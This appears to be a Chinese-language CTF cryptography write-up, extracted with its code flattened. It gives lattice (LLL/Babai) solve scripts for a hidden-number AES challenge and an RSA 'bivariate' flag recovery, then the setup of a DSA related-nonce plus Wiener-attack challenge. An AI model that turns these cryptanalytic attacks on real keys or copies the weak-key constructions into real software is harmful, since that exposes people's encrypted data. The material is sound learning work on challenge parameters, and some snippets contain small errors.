515472047175628755463279789359658211455570096067652817360508027869002916852457796014115363850477155232728049656195126940493402028508630979737222916876246 , 8377848726362282033165443045774756072489017398005262818165334796393061408947900148462399707261050565348807577258621241416711089587307194346694505937252864 , 1178755053483981880338850194698011124968424379914871101461970724324613752209283539401502897388962321646518511682063263530792638817282211333222820982688221 , 6409725586399153562174435158247599193499008381130383743433623949976530392240171542527657077771723107664747118903213393154893390715457247849808357209465942 , 3372824803484968486680937546271819996332625362891283809637871759604598252172343794474197823370030403360262989580844260103083478034905726890611202238641340 , 13221067729455004299677399984872603663881675510140157358091630484387026309376774076498558628883879446483977202290444900329681753187886973457338777404374837 , 7168388056726802823482632673894477305062116631923141017136239676696007696629606782541016490173953868270727600022309320772114799519383514048456314407549126 , 5250230933448962245502125593869313477032913928941516938273943408457441209365441112912617832856547549404891414953525445963675011329667621804152746371657313 , 8511291855606246692070730459514263912089592580342504124890734122750181111943376656479213361961009582891618556261302703133404839204999651359329176948170842 , 10576966024912004586600985705328475294820172279541596349092328002861342696932964481093301707680584309062968518297314914578723605267596141569538103299931592 , 12610576251820483830699440118009518195547953924641848179631259695652398482759919292823264035055444639679877606276670927735340951916197191958922906156370663 , 3742260845065949575192054445757226288737527960324254459850715703182879384214273141678432129201712761002566924178045796602250837169613100836509080462118064 , 11563799338655584285772430060426469486983276581413105960901201146319641194721216394735314795999096052047566733050321685673448559752053334666493545565267458 , 2135904971793751083168704063674429207856744601756475004904460101727999030934815461118290836502605293753384609825541213034656253854812143724421464450937515 , 3115138049292154301818359336614981367419382594686950083225042221335435796679806070685800479754927915293066789893346628151325862299622031407323031470432866 , 11834987428374239733081967249175125232293539826462896997963240557834259212701171232384194311849363016441847536816726226234955703291712817155658535826680986 ] iv = b'\x88\x0c\x7f\x92\xd7\xb7\xaf4\xe4\xfb\xd1_\xab\xff)\xb8' ciphertext = b'\x94\x198\xd6\xa2mK\x00\x06\x7f\xad\xa0M\xf7\xadV;EO$\xee\xcdB0)\xfb!&8%,M' rs = ts cs = gs G=GF(p) def Babai_closest_vector (M, G, target ): small = target for _ in range (1 ): for i in reversed (range (M.nrows())): c = ((small * G[i]) / (G[i] * G[i])).round () small -= M[i] * c return target - small m = 30 n = 1 A = matrix(ZZ, m+n, m) for i in range (m): A[i, i] = p for x in range (m): A[m , x] = rs[x] lattice = IntegerLattice(A, lll_reduce=True ) gram = lattice.reduced_basis.gram_schmidt()[0 ] target = vector(ZZ, cs) res = Babai_closest_vector(lattice.reduced_basis, gram, target) R = IntegerModRing(p) M = Matrix(R, rs) res=vector(R, res) for i,j in zip (cs,res): assert len (bin (i-j))-2 ==400 key=((res[0 ])*inverse(rs[0 ],p)) %p cipher = AES.new(str (key).encode()[:16 ], AES.MODE_CBC,iv) flag = cipher.decrypt(ciphertex) print (flag)
奇怪的是，我HNP构造的格出不来，我感觉已经是配平了的
M = Matrix(ZZ,32 ,32 ) k = 2 ^(512 -400 ) for i in range (30 ): L[i,i] = p * k L[-2 ,i] = ts[i] * k L[-1 ,i] = gs[i] * k L[-2 ,-2 ] = 1 L[-1 ,-1 ] = 2 ^512 res = L.LLL() for i in res: if i[-1 ] == 2 ^512 : print (i[-2 ])
然后，翻了一下别的师傅的wp(在下面)，发现，这里规约出来的都是p-key ？？？人傻了，这是什么原理？看了一下出题人自己的wp ，好像并没有这个问题
L = Matrix(QQ,32 ,32 ) k = 2 ^400 for i in range (30 ): L[i,i] = p L[-2 ,i] = ts[i] L[-1 ,i] = gs[i] L[-2 ,-2 ] = k/p L[-1 ,-1 ] = k res = L.LLL() for i in res: if i[-1 ] == k: key = p-(abs (i[-2 ].numerator())/k)
from Crypto.Util.number import getPrime, bytes_to_longfrom random import *from secret import f, flagassert len (flag) == 88 assert flag.startswith(b'NSSCTF{' )assert flag.endswith(b'}' )p = getPrime(512 ) q = getPrime(512 ) n = p*q P.<x,y> = ZZ[] f = P(str (f)) w = pow (2 ,f(p,q),n) assert all (chr (i) in '' .join(list (set (str (p)))) for i in flag[7 :-1 :])c = bytes_to_long(flag) % p print (f'{n = } \n' )print (f'{f = } \n' )print (f'{w = } \n' )print (f'{c = } \n' )''' n = 95656952327201449381426394713246214670537600365883923624876350719801926817916514429721785287844335184715049179879891389941974481490433975689601829920289485889138252888029716516069912637121531561601839948367426922036690701168975937162280451323099126372019216020898338909808577022618554997063496690156977790629 f = x^31 - x^30*y - 2*x^29*y^2 + 7*x^28*y^3 + 2*x^27*y^4 - 4*x^24*y^7 + 3*x^23*y^8 - x^20*y^11 - 4*x^19*y^12 + x^18*y^13 - 5*x^17*y^14 - 4*x^16*y^15 - x^15*y^16 + x^14*y^17 + x^13*y^18 + x^12*y^19 - 2*x^11*y^20 - 3*x^9*y^22 + 5*x^7*y^24 + x^6*y^25 + 6*x^4*y^27 + x^3*y^28 + 2*x*y^30 + y^31 - 2*x^30 - 3*x^29*y + 2*x^28*y^2 + 2*x^27*y^3 - x^26*y^4 - x^25*y^5 - 2*x^24*y^6 - 3*x^23*y^7 - 3*x^22*y^8 - 3*x^20*y^10 - 4*x^19*y^11 + 2*x^18*y^12 + x^15*y^15 - x^14*y^16 - 2*x^12*y^18 - 3*x^11*y^19 - x^10*y^20 + x^9*y^21 + 2*x^8*y^22 + x^7*y^23 + x^5*y^25 - x^4*y^26 - 2*x^3*y^27 - 2*x^2*y^28 - y^30 - 2*x^29 - x^28*y + 3*x^26*y^3 - x^25*y^4 - 2*x^24*y^5 + x^23*y^6 - x^22*y^7 - x^20*y^9 + 2*x^19*y^10 + 2*x^18*y^11 + x^16*y^13 + x^15*y^14 + x^14*y^15 + x^13*y^16 + x^12*y^17 + 5*x^11*y^18 - x^9*y^20 - 2*x^8*y^21 - 5*x^7*y^22 - 2*x^6*y^23 + 3*x^5*y^24 - 5*x^3*y^26 - x^2*y^27 + 2*x*y^28 - y^29 + 3*x^28 + 3*x^27*y - 2*x^26*y^2 + x^25*y^3 + 2*x^24*y^4 - x^23*y^5 - 2*x^22*y^6 - 3*x^20*y^8 - 3*x^19*y^9 + 4*x^17*y^11 - x^16*y^12 - 3*x^15*y^13 - 2*x^14*y^14 + x^13*y^15 + 2*x^12*y^16 - 2*x^11*y^17 + x^10*y^18 - 2*x^9*y^19 + x^8*y^20 - 2*x^7*y^21 - x^6*y^22 + x^5*y^23 - x^4*y^24 + x^3*y^25 + x^2*y^26 - x*y^27 - y^28 + x^27 + x^26*y - 2*x^24*y^3 + x^23*y^4 - 3*x^22*y^5 - 2*x^21*y^6 - 2*x^20*y^7 - 5*x^19*y^8 + 2*x^18*y^9 - 5*x^17*y^10 + x^16*y^11 - 3*x^15*y^12 - 4*x^14*y^13 - x^13*y^14 + x^12*y^15 + 3*x^11*y^16 + 2*x^10*y^17 - 4*x^9*y^18 - 2*x^6*y^21 + x^5*y^22 + 4*x^3*y^24 + 2*x^2*y^25 + 2*x*y^26 - 2*y^27 + x^25*y + x^24*y^2 + x^23*y^3 + 5*x^22*y^4 + x^20*y^6 - 3*x^19*y^7 + x^18*y^8 - x^17*y^9 + 2*x^15*y^11 - x^14*y^12 + 2*x^13*y^13 - x^12*y^14 + 4*x^11*y^15 - x^10*y^16 - 2*x^6*y^20 - x^5*y^21 + 3*x^3*y^23 + x^2*y^24 - 3*x*y^25 - 3*y^26 + 3*x^25 - 2*x^23*y^2 - x^21*y^4 + x^17*y^8 + 2*x^16*y^9 - x^15*y^10 - 2*x^14*y^11 - x^13*y^12 + 2*x^12*y^13 - 2*x^11*y^14 - x^9*y^16 - x^8*y^17 - x^6*y^19 - x^5*y^20 + x^4*y^21 + x^3*y^22 + 5*x*y^24 - 2*y^25 - x^24 + 2*x^23*y + x^22*y^2 - x^21*y^3 - x^19*y^5 + x^18*y^6 - x^17*y^7 + 2*x^16*y^8 - 4*x^15*y^9 - x^14*y^10 - x^13*y^11 - x^12*y^12 + 4*x^10*y^14 + 2*x^9*y^15 - x^8*y^16 - 2*x^7*y^17 - 2*x^6*y^18 + 4*x^5*y^19 + x^4*y^20 + 2*x^2*y^22 - 5*x*y^23 - y^24 + x^23 - x^22*y + 2*x^21*y^2 - x^20*y^3 - x^18*y^5 - x^17*y^6 - 5*x^15*y^8 + x^14*y^9 - 3*x^13*y^10 + 3*x^12*y^11 + 2*x^11*y^12 - 2*x^10*y^13 - 2*x^9*y^14 - x^8*y^15 + 2*x^7*y^16 - 2*x^6*y^17 - 4*x^5*y^18 - 5*x^3*y^20 - x^2*y^21 - x*y^22 - 4*y^23 - x^22 + 2*x^21*y - 2*x^20*y^2 - 2*x^19*y^3 - 3*x^17*y^5 - x^16*y^6 - x^15*y^7 + 4*x^13*y^9 + 2*x^12*y^10 + 3*x^11*y^11 + 2*x^10*y^12 - x^9*y^13 - x^7*y^15 + 2*x^6*y^16 + x^3*y^19 + 2*x^2*y^20 + 2*x*y^21 + 3*y^22 - 3*x^21 - x^20*y - x^19*y^2 + 2*x^17*y^4 - x^16*y^5 - x^15*y^6 + x^14*y^7 - 5*x^12*y^9 - 2*x^11*y^10 + x^10*y^11 + x^6*y^15 + x^5*y^16 + x^4*y^17 - 3*x^2*y^19 - 2*x*y^20 - 2*y^21 + x^20 + 2*x^19*y - 2*x^17*y^3 + 2*x^16*y^4 - 3*x^15*y^5 + 4*x^14*y^6 + 2*x^13*y^7 - x^12*y^8 - 2*x^11*y^9 + x^10*y^10 + 6*x^9*y^11 + x^8*y^12 + x^7*y^13 + 2*x^5*y^15 + 4*x^4*y^16 + x^3*y^17 - x^2*y^18 + 3*x*y^19 - x^17*y^2 + 2*x^16*y^3 + 3*x^14*y^5 - x^13*y^6 + 2*x^11*y^8 + x^10*y^9 + 3*x^9*y^10 - x^7*y^12 - x^6*y^13 + 3*x^5*y^14 - 4*x^4*y^15 + x^2*y^17 + 2*y^19 - x^18 - x^16*y^2 - 2*x^14*y^4 - 2*x^13*y^5 - 2*x^12*y^6 + 2*x^11*y^7 + 3*x^9*y^9 + 3*x^8*y^10 + x^6*y^12 - x^4*y^14 + 2*x^3*y^15 + 2*x^2*y^16 - 2*x*y^17 - x^17 - 4*x^16*y - 2*x^15*y^2 + 2*x^14*y^3 - x^13*y^4 + x^12*y^5 - 2*x^11*y^6 - 3*x^10*y^7 - x^9*y^8 - 5*x^8*y^9 + 2*x^7*y^10 + 2*x^6*y^11 - x^5*y^12 + x^4*y^13 - 3*x^2*y^15 + x*y^16 - 3*x^16 + x^15*y - 3*x^14*y^2 - x^13*y^3 - x^12*y^4 + 2*x^11*y^5 - x^10*y^6 + 5*x^8*y^8 + 3*x^7*y^9 + 3*x^6*y^10 + 2*x^5*y^11 + 4*x^4*y^12 + 2*x^3*y^13 + x^2*y^14 - 3*x*y^15 - x^15 + 3*x^14*y + x^13*y^2 - x^12*y^3 - 3*x^11*y^4 + x^10*y^5 - x^9*y^6 + 2*x^8*y^7 - x^7*y^8 + 4*x^5*y^10 - 2*x^4*y^11 + x^3*y^12 - x^14 + x^13*y + 2*x^12*y^2 + x^11*y^3 - 5*x^10*y^4 - x^9*y^5 - 3*x^8*y^6 - 2*x^7*y^7 + x^6*y^8 + 3*x^5*y^9 + x^4*y^10 + 2*x^3*y^11 - x^2*y^12 - 4*x*y^13 + 3*y^14 + x^12*y - 2*x^11*y^2 - x^9*y^4 - x^8*y^5 + 5*x^7*y^6 - 4*x^6*y^7 + 3*x^5*y^8 + 4*x^4*y^9 - 3*x^3*y^10 - x^2*y^11 - 2*x*y^12 - 3*y^13 + 3*x^12 + x^11*y + x^10*y^2 + x^9*y^3 + x^8*y^4 - x^6*y^6 - x^5*y^7 - 4*x^3*y^9 - x^2*y^10 - 3*x*y^11 - 2*y^12 + x^10*y + 5*x^9*y^2 + x^8*y^3 + 3*x^5*y^6 + x^4*y^7 + 2*x^3*y^8 - 4*x^2*y^9 + 2*x*y^10 + 3*y^11 - x^10 - 2*x^9*y - 2*x^7*y^3 - x^6*y^4 + x^5*y^5 + 3*x^4*y^6 - 2*x^2*y^8 - x*y^9 + 4*x^9 - 3*x^8*y - 3*x^6*y^3 + x^5*y^4 - x^4*y^5 - 2*x^3*y^6 - 2*x^2*y^7 + x*y^8 + 4*y^9 + 2*x^8 - x^7*y - 2*x^5*y^3 - 4*x^4*y^4 + 3*x^3*y^5 + 4*x^2*y^6 + 2*x*y^7 - 2*y^8 + 2*x^7 + 3*x^5*y^2 + 3*x^2*y^5 - x*y^6 - 4*x^6 + 6*x^3*y^3 + 2*x^2*y^4 - 2*x*y^5 - 3*y^6 + x^5 - 3*x^4*y + x^3*y^2 + x^2*y^3 - 2*x*y^4 + 2*x^4 - 2*x^3*y + 6*x^2*y^2 - 3*x*y^3 - 2*y^4 - 5*x^3 - 2*x^2*y - 2*x*y^2 + 3*y^3 + 2*x^2 - x*y + y^2 - 2*x + 2*y - 2 w = 12796020294902567574981427270787776254781813995526831579805652479456168245098217943847166109912113827479436654134179666391771173421469188197935460525521295192736123648410762964187396897298542198935971755852754544978564521188423737649175136194386664628304164316905741781089536713701674793641345344818309314224 c = 10266913434526071998707605266130137733134248608585146234981245806763995653822203763396430876254213500327272952979577138542487120755771047170064775346450942 '''
emmm，怎么说呢，去github 搜了一下pow(2,f(p,q),n) ，真给我找到了(注意看，五天前)GCD求出p 是一样的，求flag还得自己想办法ictf月赛(应该是月赛吧)的wp，具体原理还没研究
(突然间有一个想法，让小凳刷刷这里月赛的题，虽然wp给的是exp，应该能学到点东西的吧？好像国内就没有这种形式的比赛，不像cf那样)
https://imaginaryctf.org/ArchivedChallenges Archived Challenges - February 2025 - Crypto - bivariate (110pts) - 10/02
有意思的是，这题的前一题也是弱化版，跟上面的EZ_Fermat 一样
小改一下参数，求出p之后卡了好久，80位的数字也太长了，并没有可行的思路，网上直接找，也找不到有用的参考
然后到了晚上就想起了羊城杯2024 的一道题目rsa-loss ，只能说比较类似，改了一下发现还是跑不出结果，因为脚本其实还是bcactf-4.0原题rsa_is_broken 的脚本
半个多小时后，我又有想法了，会不会还有别的解题思路，一搜羊城杯2024rsa-loss ，跳出一篇csdn的博客，https://blog.csdn.net/XiongSiqi_blog/article/details/141638136
发现这位师傅套用的还是糖醋小鸡块师傅的脚本，再次跳转
专研一下师傅的思路，发现还是构造格，我之前也有构造格的想法(主要原因是我们已知flag的长度 ，而且可以从字节串转换为整型 入手， s u m ( a i ∗ 25 5 i ) 罢了 \ sum(a_{i}*255^{i})罢了 s u m ( a i ∗ 2 5 5 i ) 罢 了 ASCII为48到57 ，跟后面的1，0组成
所以得优化一下，弄成t i = a i − 48 t_{i}=a_{i}-48 t i = a i − 4 8 t i t_{i} t i c也要进行处理
因为我们的a i ∈ [ 0 , 9 ] a_{i}\in [0,9] a i ∈ [ 0 , 9 ] 使目标向量中值的数量级更加接近
然后，我就用LLL算法 进行格规约 了，可以看到小鸡块师傅 用的是BKZ算法 (规约能力更强 )，并且给格的最后一列 配上了个大系数 (至于多大，一般得自行测试调整)使得能规约出目标向量中的0，我一开始没用到，结果就是一位之差，最后还是加上了优化处理 还是非常必要的
from Crypto.Util.number import *P.<x,y> = ZZ[] n = 95656952327201449381426394713246214670537600365883923624876350719801926817916514429721785287844335184715049179879891389941974481490433975689601829920289485889138252888029716516069912637121531561601839948367426922036690701168975937162280451323099126372019216020898338909808577022618554997063496690156977790629 f = x^31 - x^30 *y - 2 *x^29 *y^2 + 7 *x^28 *y^3 + 2 *x^27 *y^4 - 4 *x^24 *y^7 + 3 *x^23 *y^8 - x^20 *y^11 - 4 *x^19 *y^12 + x^18 *y^13 - 5 *x^17 *y^14 - 4 *x^16 *y^15 - x^15 *y^16 + x^14 *y^17 + x^13 *y^18 + x^12 *y^19 - 2 *x^11 *y^20 - 3 *x^9 *y^22 + 5 *x^7 *y^24 + x^6 *y^25 + 6 *x^4 *y^27 + x^3 *y^28 + 2 *x*y^30 + y^31 - 2 *x^30 - 3 *x^29 *y + 2 *x^28 *y^2 + 2 *x^27 *y^3 - x^26 *y^4 - x^25 *y^5 - 2 *x^24 *y^6 - 3 *x^23 *y^7 - 3 *x^22 *y^8 - 3 *x^20 *y^10 - 4 *x^19 *y^11 + 2 *x^18 *y^12 + x^15 *y^15 - x^14 *y^16 - 2 *x^12 *y^18 - 3 *x^11 *y^19 - x^10 *y^20 + x^9 *y^21 + 2 *x^8 *y^22 + x^7 *y^23 + x^5 *y^25 - x^4 *y^26 - 2 *x^3 *y^27 - 2 *x^2 *y^28 - y^30 - 2 *x^29 - x^28 *y + 3 *x^26 *y^3 - x^25 *y^4 - 2 *x^24 *y^5 + x^23 *y^6 - x^22 *y^7 - x^20 *y^9 + 2 *x^19 *y^10 + 2 *x^18 *y^11 + x^16 *y^13 + x^15 *y^14 + x^14 *y^15 + x^13 *y^16 + x^12 *y^17 + 5 *x^11 *y^18 - x^9 *y^20 - 2 *x^8 *y^21 - 5 *x^7 *y^22 - 2 *x^6 *y^23 + 3 *x^5 *y^24 - 5 *x^3 *y^26 - x^2 *y^27 + 2 *x*y^28 - y^29 + 3 *x^28 + 3 *x^27 *y - 2 *x^26 *y^2 + x^25 *y^3 + 2 *x^24 *y^4 - x^23 *y^5 - 2 *x^22 *y^6 - 3 *x^20 *y^8 - 3 *x^19 *y^9 + 4 *x^17 *y^11 - x^16 *y^12 - 3 *x^15 *y^13 - 2 *x^14 *y^14 + x^13 *y^15 + 2 *x^12 *y^16 - 2 *x^11 *y^17 + x^10 *y^18 - 2 *x^9 *y^19 + x^8 *y^20 - 2 *x^7 *y^21 - x^6 *y^22 + x^5 *y^23 - x^4 *y^24 + x^3 *y^25 + x^2 *y^26 - x*y^27 - y^28 + x^27 + x^26 *y - 2 *x^24 *y^3 + x^23 *y^4 - 3 *x^22 *y^5 - 2 *x^21 *y^6 - 2 *x^20 *y^7 - 5 *x^19 *y^8 + 2 *x^18 *y^9 - 5 *x^17 *y^10 + x^16 *y^11 - 3 *x^15 *y^12 - 4 *x^14 *y^13 - x^13 *y^14 + x^12 *y^15 + 3 *x^11 *y^16 + 2 *x^10 *y^17 - 4 *x^9 *y^18 - 2 *x^6 *y^21 + x^5 *y^22 + 4 *x^3 *y^24 + 2 *x^2 *y^25 + 2 *x*y^26 - 2 *y^27 + x^25 *y + x^24 *y^2 + x^23 *y^3 + 5 *x^22 *y^4 + x^20 *y^6 - 3 *x^19 *y^7 + x^18 *y^8 - x^17 *y^9 + 2 *x^15 *y^11 - x^14 *y^12 + 2 *x^13 *y^13 - x^12 *y^14 + 4 *x^11 *y^15 - x^10 *y^16 - 2 *x^6 *y^20 - x^5 *y^21 + 3 *x^3 *y^23 + x^2 *y^24 - 3 *x*y^25 - 3 *y^26 + 3 *x^25 - 2 *x^23 *y^2 - x^21 *y^4 + x^17 *y^8 + 2 *x^16 *y^9 - x^15 *y^10 - 2 *x^14 *y^11 - x^13 *y^12 + 2 *x^12 *y^13 - 2 *x^11 *y^14 - x^9 *y^16 - x^8 *y^17 - x^6 *y^19 - x^5 *y^20 + x^4 *y^21 + x^3 *y^22 + 5 *x*y^24 - 2 *y^25 - x^24 + 2 *x^23 *y + x^22 *y^2 - x^21 *y^3 - x^19 *y^5 + x^18 *y^6 - x^17 *y^7 + 2 *x^16 *y^8 - 4 *x^15 *y^9 - x^14 *y^10 - x^13 *y^11 - x^12 *y^12 + 4 *x^10 *y^14 + 2 *x^9 *y^15 - x^8 *y^16 - 2 *x^7 *y^17 - 2 *x^6 *y^18 + 4 *x^5 *y^19 + x^4 *y^20 + 2 *x^2 *y^22 - 5 *x*y^23 - y^24 + x^23 - x^22 *y + 2 *x^21 *y^2 - x^20 *y^3 - x^18 *y^5 - x^17 *y^6 - 5 *x^15 *y^8 + x^14 *y^9 - 3 *x^13 *y^10 + 3 *x^12 *y^11 + 2 *x^11 *y^12 - 2 *x^10 *y^13 - 2 *x^9 *y^14 - x^8 *y^15 + 2 *x^7 *y^16 - 2 *x^6 *y^17 - 4 *x^5 *y^18 - 5 *x^3 *y^20 - x^2 *y^21 - x*y^22 - 4 *y^23 - x^22 + 2 *x^21 *y - 2 *x^20 *y^2 - 2 *x^19 *y^3 - 3 *x^17 *y^5 - x^16 *y^6 - x^15 *y^7 + 4 *x^13 *y^9 + 2 *x^12 *y^10 + 3 *x^11 *y^11 + 2 *x^10 *y^12 - x^9 *y^13 - x^7 *y^15 + 2 *x^6 *y^16 + x^3 *y^19 + 2 *x^2 *y^20 + 2 *x*y^21 + 3 *y^22 - 3 *x^21 - x^20 *y - x^19 *y^2 + 2 *x^17 *y^4 - x^16 *y^5 - x^15 *y^6 + x^14 *y^7 - 5 *x^12 *y^9 - 2 *x^11 *y^10 + x^10 *y^11 + x^6 *y^15 + x^5 *y^16 + x^4 *y^17 - 3 *x^2 *y^19 - 2 *x*y^20 - 2 *y^21 + x^20 + 2 *x^19 *y - 2 *x^17 *y^3 + 2 *x^16 *y^4 - 3 *x^15 *y^5 + 4 *x^14 *y^6 + 2 *x^13 *y^7 - x^12 *y^8 - 2 *x^11 *y^9 + x^10 *y^10 + 6 *x^9 *y^11 + x^8 *y^12 + x^7 *y^13 + 2 *x^5 *y^15 + 4 *x^4 *y^16 + x^3 *y^17 - x^2 *y^18 + 3 *x*y^19 - x^17 *y^2 + 2 *x^16 *y^3 + 3 *x^14 *y^5 - x^13 *y^6 + 2 *x^11 *y^8 + x^10 *y^9 + 3 *x^9 *y^10 - x^7 *y^12 - x^6 *y^13 + 3 *x^5 *y^14 - 4 *x^4 *y^15 + x^2 *y^17 + 2 *y^19 - x^18 - x^16 *y^2 - 2 *x^14 *y^4 - 2 *x^13 *y^5 - 2 *x^12 *y^6 + 2 *x^11 *y^7 + 3 *x^9 *y^9 + 3 *x^8 *y^10 + x^6 *y^12 - x^4 *y^14 + 2 *x^3 *y^15 + 2 *x^2 *y^16 - 2 *x*y^17 - x^17 - 4 *x^16 *y - 2 *x^15 *y^2 + 2 *x^14 *y^3 - x^13 *y^4 + x^12 *y^5 - 2 *x^11 *y^6 - 3 *x^10 *y^7 - x^9 *y^8 - 5 *x^8 *y^9 + 2 *x^7 *y^10 + 2 *x^6 *y^11 - x^5 *y^12 + x^4 *y^13 - 3 *x^2 *y^15 + x*y^16 - 3 *x^16 + x^15 *y - 3 *x^14 *y^2 - x^13 *y^3 - x^12 *y^4 + 2 *x^11 *y^5 - x^10 *y^6 + 5 *x^8 *y^8 + 3 *x^7 *y^9 + 3 *x^6 *y^10 + 2 *x^5 *y^11 + 4 *x^4 *y^12 + 2 *x^3 *y^13 + x^2 *y^14 - 3 *x*y^15 - x^15 + 3 *x^14 *y + x^13 *y^2 - x^12 *y^3 - 3 *x^11 *y^4 + x^10 *y^5 - x^9 *y^6 + 2 *x^8 *y^7 - x^7 *y^8 + 4 *x^5 *y^10 - 2 *x^4 *y^11 + x^3 *y^12 - x^14 + x^13 *y + 2 *x^12 *y^2 + x^11 *y^3 - 5 *x^10 *y^4 - x^9 *y^5 - 3 *x^8 *y^6 - 2 *x^7 *y^7 + x^6 *y^8 + 3 *x^5 *y^9 + x^4 *y^10 + 2 *x^3 *y^11 - x^2 *y^12 - 4 *x*y^13 + 3 *y^14 + x^12 *y - 2 *x^11 *y^2 - x^9 *y^4 - x^8 *y^5 + 5 *x^7 *y^6 - 4 *x^6 *y^7 + 3 *x^5 *y^8 + 4 *x^4 *y^9 - 3 *x^3 *y^10 - x^2 *y^11 - 2 *x*y^12 - 3 *y^13 + 3 *x^12 + x^11 *y + x^10 *y^2 + x^9 *y^3 + x^8 *y^4 - x^6 *y^6 - x^5 *y^7 - 4 *x^3 *y^9 - x^2 *y^10 - 3 *x*y^11 - 2 *y^12 + x^10 *y + 5 *x^9 *y^2 + x^8 *y^3 + 3 *x^5 *y^6 + x^4 *y^7 + 2 *x^3 *y^8 - 4 *x^2 *y^9 + 2 *x*y^10 + 3 *y^11 - x^10 - 2 *x^9 *y - 2 *x^7 *y^3 - x^6 *y^4 + x^5 *y^5 + 3 *x^4 *y^6 - 2 *x^2 *y^8 - x*y^9 + 4 *x^9 - 3 *x^8 *y - 3 *x^6 *y^3 + x^5 *y^4 - x^4 *y^5 - 2 *x^3 *y^6 - 2 *x^2 *y^7 + x*y^8 + 4 *y^9 + 2 *x^8 - x^7 *y - 2 *x^5 *y^3 - 4 *x^4 *y^4 + 3 *x^3 *y^5 + 4 *x^2 *y^6 + 2 *x*y^7 - 2 *y^8 + 2 *x^7 + 3 *x^5 *y^2 + 3 *x^2 *y^5 - x*y^6 - 4 *x^6 + 6 *x^3 *y^3 + 2 *x^2 *y^4 - 2 *x*y^5 - 3 *y^6 + x^5 - 3 *x^4 *y + x^3 *y^2 + x^2 *y^3 - 2 *x*y^4 + 2 *x^4 - 2 *x^3 *y + 6 *x^2 *y^2 - 3 *x*y^3 - 2 *y^4 - 5 *x^3 - 2 *x^2 *y - 2 *x*y^2 + 3 *y^3 + 2 *x^2 - x*y + y^2 - 2 *x + 2 *y - 2 w = 12796020294902567574981427270787776254781813995526831579805652479456168245098217943847166109912113827479436654134179666391771173421469188197935460525521295192736123648410762964187396897298542198935971755852754544978564521188423737649175136194386664628304164316905741781089536713701674793641345344818309314224 c = 10266913434526071998707605266130137733134248608585146234981245806763995653822203763396430876254213500327272952979577138542487120755771047170064775346450942 need = [(-term[0 ], term[1 ].degree()) for term in f%(x-1 )] sumpow = [4 ] sumpow.append(pow (2 ,n+1 ,n)) for i in range (2 ,32 ): sumpow.append(pow (sumpow[i-1 ],n+1 ,n) * pow (sumpow[i-2 ],-n,n)) sumpow[-1 ] %= n f2 = f w2 = w for coeff, deg in need: w2 *= pow (sumpow[deg],coeff,n) w2 %= n f2 += coeff*(x**deg + y**deg) p = gcd(pow (2 ,int (f2%(x-1 )),n) * pow (w2,-1 ,n) - 1 , n) prefix = b"NSSCTF{" suffix = b"}" length = 88 - len (prefix) - len (suffix) c -= 256 ^(len (suffix) + length) * bytes_to_long(prefix) c -= bytes_to_long(suffix) c = c * inverse(256 ,p) % p L = Matrix(ZZ,length+2 ,length+2 ) for i in range (length): L[i,i] = 1 L[i,-1 ] = 256 ^i c -= 256 ^i*48 L[-2 ,-2 ] = 4 L[-2 ,-1 ] = -c L[-1 ,-1 ] = p L[:,-1 :] *= 2 ^512 res = L.LLL() flag = "" for i in res: if (abs (i[-2 ]) == 4 and all (abs (j) < 10 for j in i)): for j in i[:-2 ][::-1 ]: flag += chr (48 + abs (j)) flag = prefix+flag.encode()+suffix print (flag.decode())
from random import getrandbits, randintfrom secrets import randbelowfrom Crypto.Util.number import *from Crypto.Util.Padding import padfrom Crypto.Cipher import AESimport hashlibimport randomimport gmpy2ink=getPrime(20 ) p1= getPrime(512 ) q1= getPrime(512 ) N = p1* q1 phi = (p1-1 ) * (q1-1 ) while True : d1= getRandomNBitInteger(200 ) if GCD(d1, phi) == 1 : e = inverse(d1, phi) break c_ink = pow (ink, e, N) print (f'c_ink=' ,c_ink)print (f'e=' ,e)print (f'N=' ,N)k= getPrime(64 ) q = getPrime(160 ) def sign (msg, pub, pri, k ): (p,q,g,y) = pub x = pri r = int (pow (g, k, p) % q) h = int (hashlib.sha256(msg).digest().hex (),16 ) s = int ((h + x * r) * gmpy2.invert(k, q) % q) return (r, s) while True : temp = q * getrandbits(864 ) if isPrime(temp + 1 ): p = temp + 1 break assert p % q == 1 h = randint(1 , p - 1 ) g = pow (h, (p - 1 ) // q, p) y = pow (g, k, p) pub = (p,q,g,y) pri = random.randint(1 , q-1 ) print (f"(r1,s1)=" ,sign(b'GHCTF-2025' , pub, pri, k))print (f"(r2,s2)=" ,sign(b'GHCTF-2025' , pub, pri, k+ink))print (f"{g= } " )print (f"{q= } " )print (f"{p= } " )print (f"{y= } " )key = hashlib.sha1(str (pri).encode()).digest()[:16 ] cipher = AES.new(key, AES.MODE_ECB) flag="NSSCTF{xxxxxxxx}" ciphertext = cipher.encrypt(pad(flag.encode(), 16 )) print (f"{ciphertext = } " )''' c_ink= 75517502692097831363443739147565176367247985201143975453326891807623085586665800338505194812511215986799510259417486636115714543892322380908775898968005967267154089356401466517827082639942650711458196552847137272733225451581167527549711435805194039361007506436462393605949663173972848316802086005675594122447 e= 97127528017076464922170978933159739328499830874876612140194720448608536284451056980759925228574802703400503852897647806707933102198339936307176078592550748707182506634151382952065240918923594664309561466538540752851827183955776181255541306419282376724578231110985180090748520497985751591062886932254909959583 N= 131342286566556880877092331187418465653855813425966929864425381510875531237549624989644814104311810243468058174748867544024292263674725375273146689145421426693384862215460097683187892351130513429928063652701077721570140977719823754701988835199434602294597102748436781125528389125846980183998136743830655746063 (r1,s1)= (116607429176396769010327954525649019081679807573, 242024511677350537268048640408155954695100314686) (r2,s2)= (282969697665204582571637561594660002955972273916, 233488943967710383661411268886726155900968304282) g= 113752591438136097752416877421595518178059067044406008965947486693591255247711343925741016027611310257564826355221058212913879375956265361413159461801130112690842862767232535007802294944943540511148985219047761964228666223605898858379133610079745082176804146052086680551043775640630819062323009071190616231206 q= 1010682595723348988315901923086844563134854720501 p= 117574623402990360322255542120443410701206393780334500865748478770699335257408652117586356058603035930256320433146236288486738066821845146885689024168044244453298677322763816219621376364185484753693835156465778487436550070788009331605135011517651578548403565196930955818239577581944709384126001757349228062611 y= 114719310327856435690312712426667059528255758467780345974417610618467568889317865434557927492426543544900066735337367408842750916882737134575812646864528120528284507025781167314123831868039617392195979751697057669675359335622753482920688147222344801914086866640706838774098397923450797553056502975678740968481 ciphertext = b'\x10\xbcL|\xcb\xe5W\x1e0\xa3\x83\x85vr^SmU\xac\xe3L\x93"#\xb4\x81\xd0\xf0S\x05\xb7\xc7' '''
首先是维纳攻击 ，这个没什么好说的，直接套板子
